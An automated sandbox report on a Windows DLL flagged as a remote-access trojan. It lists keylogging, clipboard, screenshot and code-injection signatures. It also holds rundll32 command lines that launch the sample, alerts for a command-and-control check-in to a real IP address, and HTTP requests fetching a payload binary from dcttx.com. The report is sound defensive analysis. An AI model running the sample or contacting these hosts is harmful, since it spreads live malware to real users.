Edit tour

Windows Analysis Report
HLMJbase.dll

Overview

General Information

Sample name:	HLMJbase.dll
Analysis ID:	1579416
MD5:	250eb1ef1645f13252ef13c14ba66d51
SHA1:	4aa14d113af1d74fbd1adbc16c10126b69878d0b
SHA256:	dacdac1e333a1f45700e3707e617ff49c457226604f1ffa160fc3faf9b6810b3
Tags:	dlluser-smica83
Infos:

Detection

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

AI detected suspicious sample

Contains functionality to capture and log keystrokes

Contains functionality to inject code into remote processes

Contains functionality to inject threads in other processes

AV process strings found (often used to terminate AV products)

Checks for available system drives (often done to infect USB drives)

Contains functionality for read data from the clipboard

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to clear windows event logs (to hide its activities)

Contains functionality to communicate with device drivers

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Installs a global mouse hook

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Sample execution stops while process was sleeping (likely an evasion)

Sleep loop found (likely to delay execution)

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 6972 cmdline: loaddll32.exe "C:\Users\user\Desktop\HLMJbase.dll" MD5: 51E6071F9CBA48E79F10C84515AAE618)

conhost.exe (PID: 7004 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7116 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\HLMJbase.dll",#1 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

rundll32.exe (PID: 6156 cmdline: rundll32.exe "C:\Users\user\Desktop\HLMJbase.dll",#1 MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 6204 cmdline: rundll32.exe C:\Users\user\Desktop\HLMJbase.dll,NvOptimusEnablement MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 1900 cmdline: rundll32.exe "C:\Users\user\Desktop\HLMJbase.dll",NvOptimusEnablement MD5: 889B99C52A60DD49227C5E485A016679)

cleanup

Suricata Signatures

ET MALWARE Anonymous RAT CnC Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-22T09:29:07.990203+0100	2052875	1	A Network Trojan was detected	192.168.2.4	49736	45.204.213.99	7677	TCP
2024-12-22T09:30:23.404849+0100	2052875	1	A Network Trojan was detected	192.168.2.4	49739	45.204.213.99	7677	TCP
2024-12-22T09:31:35.424214+0100	2052875	1	A Network Trojan was detected	192.168.2.4	49740	45.204.213.99	7677	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC3E8E0 EncryptMessage,	3_2_6CC3E8E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC10332 DecryptMessage,	3_2_6CC10332
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC39840 DecryptMessage,memset,	3_2_6CC39840
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC3961E EncryptMessage,	3_2_6CC3961E

Source: HLMJbase.dll

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE, DLL

Source: unknown	HTTPS traffic detected: 38.147.186.138:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 38.147.186.138:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 38.147.186.138:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 38.147.186.138:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 38.147.186.138:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 38.147.186.138:443 -> 192.168.2.4:49735 version: TLS 1.2

Source: HLMJbase.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source:

Binary string: HLMJbase.pdb source: rundll32.exe, 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000004.00000002.3546373145.000000006CC66000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000005.00000002.3546252526.000000006CC66000.00000002.00000001.01000000.00000003.sdmp, HLMJbase.dll

Source: C:\Windows\SysWOW64\rundll32.exe	File opened: z:	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: x:	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: v:	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: t:	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: r:	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: p:	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: n:	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: l:	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: j:	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: h:	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: f:	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: b:	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: y:	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: w:	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: u:	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: s:	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: q:	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: o:	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: m:	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: k:	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: i:	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: g:	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: e:	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: [:	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_04DB8060 wsprintfW,GetLogicalDriveStringsW,lstrcmpiW,lstrcmpiW,QueryDosDeviceW,lstrlenW,__wcsnicmp,lstrcpyW,lstrcpyW,lstrcatW,

3_2_04DB8060

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2052875 - Severity 1 - ET MALWARE Anonymous RAT CnC Checkin : 192.168.2.4:49736 -> 45.204.213.99:7677
Source: Network traffic	Suricata IDS: 2052875 - Severity 1 - ET MALWARE Anonymous RAT CnC Checkin : 192.168.2.4:49739 -> 45.204.213.99:7677
Source: Network traffic	Suricata IDS: 2052875 - Severity 1 - ET MALWARE Anonymous RAT CnC Checkin : 192.168.2.4:49740 -> 45.204.213.99:7677

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 38.147.186.138 443			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 45.204.213.99 7677			Jump to behavior

Source: global traffic

TCP traffic: 192.168.2.4:49736 -> 45.204.213.99:7677

Source: global traffic	HTTP traffic detected: GET /19/7.txt HTTP/1.1accept: /host: dcttx.com
Source: global traffic	HTTP traffic detected: GET /19/7.txt HTTP/1.1accept: /host: dcttx.com
Source: global traffic	HTTP traffic detected: GET /19/77.bin HTTP/1.1accept: /host: dcttx.com
Source: global traffic	HTTP traffic detected: GET /19/77.bin HTTP/1.1accept: /host: dcttx.com
Source: global traffic	HTTP traffic detected: GET /19/7.txt HTTP/1.1accept: /host: dcttx.com
Source: global traffic	HTTP traffic detected: GET /19/77.bin HTTP/1.1accept: /host: dcttx.com

Source: Joe Sandbox View	ASN Name: CODECCLOUD-AS-APCodecCloudHKLimitedHK CODECCLOUD-AS-APCodecCloudHKLimitedHK
Source: Joe Sandbox View	ASN Name: ITACE-AS-APItaceInternationalLimitedHK ITACE-AS-APItaceInternationalLimitedHK

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_04203340 recv,timeGetTime,_memmove,

3_2_04203340

Source: global traffic	HTTP traffic detected: GET /19/7.txt HTTP/1.1accept: /host: dcttx.com
Source: global traffic	HTTP traffic detected: GET /19/7.txt HTTP/1.1accept: /host: dcttx.com
Source: global traffic	HTTP traffic detected: GET /19/77.bin HTTP/1.1accept: /host: dcttx.com
Source: global traffic	HTTP traffic detected: GET /19/77.bin HTTP/1.1accept: /host: dcttx.com
Source: global traffic	HTTP traffic detected: GET /19/7.txt HTTP/1.1accept: /host: dcttx.com
Source: global traffic	HTTP traffic detected: GET /19/77.bin HTTP/1.1accept: /host: dcttx.com

Source: global traffic

DNS traffic detected: DNS query: dcttx.com

Source: rundll32.exe, 00000003.00000003.1698661519.00000000028B5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1699780132.0000000002EB6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1723716813.0000000002EE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dcttx.com/19/7.txt
Source: rundll32.exe, 00000003.00000003.1698661519.00000000028B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dcttx.com/19/7.txt)
Source: rundll32.exe, rundll32.exe, 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000004.00000002.3546373145.000000006CC66000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000005.00000002.3546252526.000000006CC66000.00000002.00000001.01000000.00000003.sdmp, HLMJbase.dll	String found in binary or memory: https://dcttx.com/19/7.txtFailed
Source: rundll32.exe, 00000003.00000003.1729874036.00000000028B4000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2157580790.00000000028AE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.3543030625.000000000287A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1698661519.00000000028B5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2339917557.00000000028AE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1729791896.000000000289D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.3542816522.0000000002E9C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1794106955.0000000002E9D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1976663029.0000000002EAA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1730735202.0000000002E9B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1730835411.0000000002E9D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1699780132.0000000002EB6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1699722110.0000000002EF4000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1754289743.0000000002ECD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1754407677.0000000002ECD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2166846758.0000000002EE0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1802814248.0000000002EE6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1723716813.0000000002EE6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.3542903898.0000000002EE1000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1723632245.0000000002F22000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1754193127.0000000002ECD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dcttx.com/19/77.bin
Source: rundll32.exe, 00000003.00000003.1729874036.00000000028B4000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1729791896.000000000289D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dcttx.com/19/77.bin)
Source: rundll32.exe, 00000005.00000003.1754289743.0000000002ECD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1754407677.0000000002ECD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1754193127.0000000002ECD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dcttx.com/19/77.bin.
Source: rundll32.exe, 00000003.00000003.1729874036.00000000028B4000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1729791896.000000000289D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dcttx.com/19/77.bin3
Source: rundll32.exe, 00000005.00000003.1754289743.0000000002ECD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1754407677.0000000002ECD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2166846758.0000000002EE0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1802814248.0000000002EE6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1723716813.0000000002EE6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.3542903898.0000000002EE1000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1754193127.0000000002ECD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dcttx.com/19/77.bin8
Source: rundll32.exe, 00000004.00000003.1730735202.0000000002E9B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1730835411.0000000002E9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dcttx.com/19/77.binA
Source: rundll32.exe, 00000004.00000003.1730735202.0000000002E9B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1730835411.0000000002E9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dcttx.com/19/77.binD
Source: rundll32.exe, 00000004.00000003.1730735202.0000000002E9B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1730835411.0000000002E9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dcttx.com/19/77.bin_
Source: rundll32.exe, 00000004.00000003.1730735202.0000000002E9B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1730835411.0000000002E9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dcttx.com/19/77.binf

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: unknown	HTTPS traffic detected: 38.147.186.138:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 38.147.186.138:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 38.147.186.138:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 38.147.186.138:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 38.147.186.138:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 38.147.186.138:443 -> 192.168.2.4:49735 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to capture and log keystrokes

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: [esc]	3_2_04DBE7B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: [esc]	3_2_04DBE7B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: [esc]	3_2_04DBE7B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: [esc]	3_2_04DBE7B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: [esc]	4_2_055AE7B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: [esc]	4_2_055AE7B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: [esc]	4_2_055AE7B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: [esc]	4_2_055AE7B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: [esc]	5_2_0535E7B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: [esc]	5_2_0535E7B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: [esc]	5_2_0535E7B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: [esc]	5_2_0535E7B0

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_04DBE7B0 CreateMutexW,GetLastError,_memset,Sleep,GetTickCount,GetTickCount,GetTickCount,InterlockedExchange,OpenClipboard,GetClipboardData,GlobalSize,GlobalLock,wsprintfW,_memset,GlobalUnlock,CloseClipboard,WaitForSingleObject,CreateFileW,SetFilePointer,lstrlenW,WriteFile,CloseHandle,ReleaseMutex,GetKeyState,lstrlenW,wsprintfW,lstrlenW,lstrlenW,wsprintfW,wsprintfW,wsprintfW,lstrlenW,WaitForSingleObject,CreateFileW,SetFilePointer,lstrlenW,WriteFile,CloseHandle,ReleaseMutex,

3_2_04DBE7B0

Source: C:\Windows\SysWOW64\rundll32.exe

3_2_04DBE7B0

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_04DBBBF0 GetDesktopWindow,GetDC,GetDC,CreateCompatibleDC,GetDC,GetDeviceCaps,GetDeviceCaps,GetDeviceCaps,ReleaseDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,CreateCompatibleBitmap,SelectObject,SetStretchBltMode,GetSystemMetrics,GetSystemMetrics,StretchBlt,_memset,GetDIBits,_memset,DeleteObject,DeleteObject,ReleaseDC,DeleteObject,DeleteObject,ReleaseDC,

3_2_04DBBBF0

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_04DBE450 CreateMutexW,GetLastError,SHGetFolderPathW,lstrcatW,CreateMutexW,WaitForSingleObject,CreateFileW,GetFileSize,CloseHandle,DeleteFileW,ReleaseMutex,DirectInput8Create,GetTickCount,GetKeyState,

3_2_04DBE450

Source: C:\Windows\SysWOW64\rundll32.exe

Windows user hook set: 0 mouse low level C:\Windows\System32\DINPUT8.dll

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBF4854 NtCreateFile,RtlNtStatusToDosError,CreateIoCompletionPort,SetFileCompletionNotificationModes,GetLastError,CloseHandle,	3_2_6CBF4854
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBF4268 NtDeviceIoControlFile,RtlNtStatusToDosError,	3_2_6CBF4268
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBC3942 SetThreadErrorMode,GetProcAddress,GetProcAddress,GetProcAddress,memmove,memmove,memmove,memmove,GetCurrentProcess,NtAllocateVirtualMemory,memmove,GetCurrentProcess,NtCreateThreadEx,GetCurrentProcess,FreeLibrary,CreateWaitableTimerExW,CreateWaitableTimerExW,SetWaitableTimer,WaitForSingleObject,CloseHandle,CloseHandle,Sleep,	3_2_6CBC3942
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC483D0 GetStdHandle,GetLastError,GetConsoleMode,NtWriteFile,WaitForSingleObject,RtlNtStatusToDosError,CloseHandle,	3_2_6CC483D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBF3EDC NtCancelIoFileEx,RtlNtStatusToDosError,	3_2_6CBF3EDC

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_6CBF4268: NtDeviceIoControlFile,RtlNtStatusToDosError,

3_2_6CBF4268

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_04DBB3D0 ExitWindowsEx,	3_2_04DBB3D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_04DBB3F4 ExitWindowsEx,	3_2_04DBB3F4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_04DBB3AC ExitWindowsEx,	3_2_04DBB3AC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_055AB3D0 ExitWindowsEx,	4_2_055AB3D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_055AB3F4 ExitWindowsEx,	4_2_055AB3F4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_055AB3AC ExitWindowsEx,	4_2_055AB3AC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0535B3AC ExitWindowsEx,	5_2_0535B3AC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0535B3F4 ExitWindowsEx,	5_2_0535B3F4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0535B3D0 ExitWindowsEx,	5_2_0535B3D0

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_04210CAE	3_2_04210CAE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_042024B0	3_2_042024B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_04212D61	3_2_04212D61
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_042111FF	3_2_042111FF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_04211E2C	3_2_04211E2C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0420B6A6	3_2_0420B6A6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_04211750	3_2_04211750
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_04DB6E60	3_2_04DB6E60
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_04DB6BE0	3_2_04DB6BE0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_04DB24A0	3_2_04DB24A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_04DCDDF0	3_2_04DCDDF0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_04DCD89F	3_2_04DCD89F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_04DB8870	3_2_04DB8870
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_04DCF9FF	3_2_04DCF9FF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_04DCEA1D	3_2_04DCEA1D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_04DC8381	3_2_04DC8381
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_04DCE341	3_2_04DCE341
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC36D3C	3_2_6CC36D3C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC1481F	3_2_6CC1481F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC1AA6C	3_2_6CC1AA6C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC08469	3_2_6CC08469
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC11C98	3_2_6CC11C98
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC39CA8	3_2_6CC39CA8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBC3942	3_2_6CBC3942
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC290A8	3_2_6CC290A8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC54CCF	3_2_6CC54CCF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC62C95	3_2_6CC62C95
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC02D0F	3_2_6CC02D0F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBEEE05	3_2_6CBEEE05
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBDCF24	3_2_6CBDCF24
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC128F9	3_2_6CC128F9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC62893	3_2_6CC62893
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC54898	3_2_6CC54898
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBFA814	3_2_6CBFA814
